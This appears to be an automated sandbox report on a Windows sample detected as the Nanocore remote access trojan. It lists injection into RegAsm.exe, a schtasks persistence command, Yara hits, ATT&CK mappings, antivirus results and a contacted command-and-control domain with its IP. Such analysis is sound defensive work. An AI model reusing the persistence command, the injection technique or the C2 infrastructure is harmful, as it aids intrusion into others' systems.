Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C737EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C73B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C7BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C149A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: RegAsm.exe, 00000001.00000002.924328564.0000000006ED0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe, 00000000.00000003.685498672.0000000001858000.00000004.00000001.sdmp	Binary or memory string: YJDIQEMUSOSE
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe, 00000000.00000003.685498672.0000000001858000.00000004.00000001.sdmp	Binary or memory string: YJDIQEMUSOBJOR
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe, 00000000.00000003.685498672.0000000001858000.00000004.00000001.sdmp	Binary or memory string: YJDIQEMUSOJKYR=
Source: RegAsm.exe, 00000001.00000002.924328564.0000000006ED0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: RegAsm.exe, 00000001.00000002.924328564.0000000006ED0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: RegAsm.exe, 00000001.00000002.920682516.00000000016E0000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: RegAsm.exe, 00000001.00000002.924328564.0000000006ED0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C83F09 BlockInput,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C13B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C45A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C14B37 LoadLibraryA,GetProcAddress,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_3_046100BE mov esi, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_3_046100BE mov esi, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C680A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C3A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C3A124 SetUnhandledExceptionFilter,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_3_046100BE CreateProcessW,GetThreadContext,ReadProcessMemory,VirtualAlloc,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualProtectEx,VirtualFree,WriteProcessMemory,SetThreadContext,ResumeThread,

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: 400000
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: 1089008

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C687B1 LogonUserW,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C13B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C148D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C74C53 mouse_event,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp7A01.tmp'

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C67CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C6874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: RegAsm.exe, 00000001.00000002.920682516.00000000016E0000.00000004.00000020.sdmp	Binary or memory string: Program Manager
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe, RegAsm.exe, 00000001.00000002.920747035.0000000001AE0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 00000001.00000002.920747035.0000000001AE0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: RegAsm.exe, 00000001.00000002.920747035.0000000001AE0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: RegAsm.exe, 00000001.00000002.920682516.00000000016E0000.00000004.00000020.sdmp	Binary or memory string: Program Managersoft.NET\Framework\v2.0.50727\RegAsm.exe

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C3862B cpuid

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C44E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C51E06 GetUserNameW,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C43F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Code function: 0_2_00C149A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657091482.0000000004377000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.686611138.0000000004311000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1316, type: MEMORY
Source: Yara match	File source: Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824, type: MEMORY
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45feab4.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6254629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45f9c7e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.46030dd.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6250000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6250000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45feab4.2.raw.unpack, type: UNPACKEDPE

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Binary or memory string: WIN_81
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Binary or memory string: WIN_XP
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Binary or memory string: WIN_XPe
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Binary or memory string: WIN_VISTA
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Binary or memory string: WIN_7
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Binary or memory string: WIN_8
Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 1USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality:

Detected Nanocore Rat

Show sources

Source: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe, 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: RegAsm.exe, 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: RegAsm.exe, 00000001.00000002.921380547.00000000035B1000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657091482.0000000004377000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.686611138.0000000004311000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1316, type: MEMORY
Source: Yara match	File source: Process Memory Space: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824, type: MEMORY
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45feab4.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6254629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.16bae18.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.43a9168.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45f9c7e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4442c50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.46030dd.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6250000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.6250000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.45feab4.2.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C86283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,
Source: C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	Code function: 0_2_00C86747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_0589283A bind,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_058927E8 bind,

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts2	Native API1	DLL Side-Loading1	Exploitation for Privilege Escalation1	Disable or Modify Tools11	Input Capture31	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Scheduled Task/Job1	Application Shimming1	DLL Side-Loading1	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture31	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Valid Accounts2	Application Shimming1	Obfuscated Files or Information2	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Clipboard Data2	Automated Exfiltration	Remote Access Software1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Scheduled Task/Job1	Valid Accounts2	Software Packing11	NTDS	System Information Discovery16	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Access Token Manipulation21	DLL Side-Loading1	LSA Secrets	Security Software Discovery31	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol21	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection412	Masquerading11	Cached Domain Credentials	Virtualization/Sandbox Evasion21	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Scheduled Task/Job1	Valid Accounts2	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion21	Proc Filesystem	Application Window Discovery11	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Access Token Manipulation21	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection412	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Hidden Files and Directories1	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	58%	Virustotal		Browse
A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	69%	ReversingLabs	Win32.Trojan.Strictor
A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe	100%	Avira	HEUR/AGEN.1100046

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.RegAsm.exe.400000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen7	Download File
0.0.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.c10000.0.unpack	100%	Avira	HEUR/AGEN.1100046	Download File
1.2.RegAsm.exe.6250000.8.unpack	100%	Avira	TR/NanoCore.fadte	Download File
0.3.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.4620000.1.unpack	100%	Avira	TR/Dropper.MSIL.Gen7	Download File
0.2.A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe.c10000.0.unpack	100%	Avira	HEUR/AGEN.1100046	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
bnow.duckdns.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bnow.duckdns.org	192.169.69.26	true	true		unknown

Contacted URLs

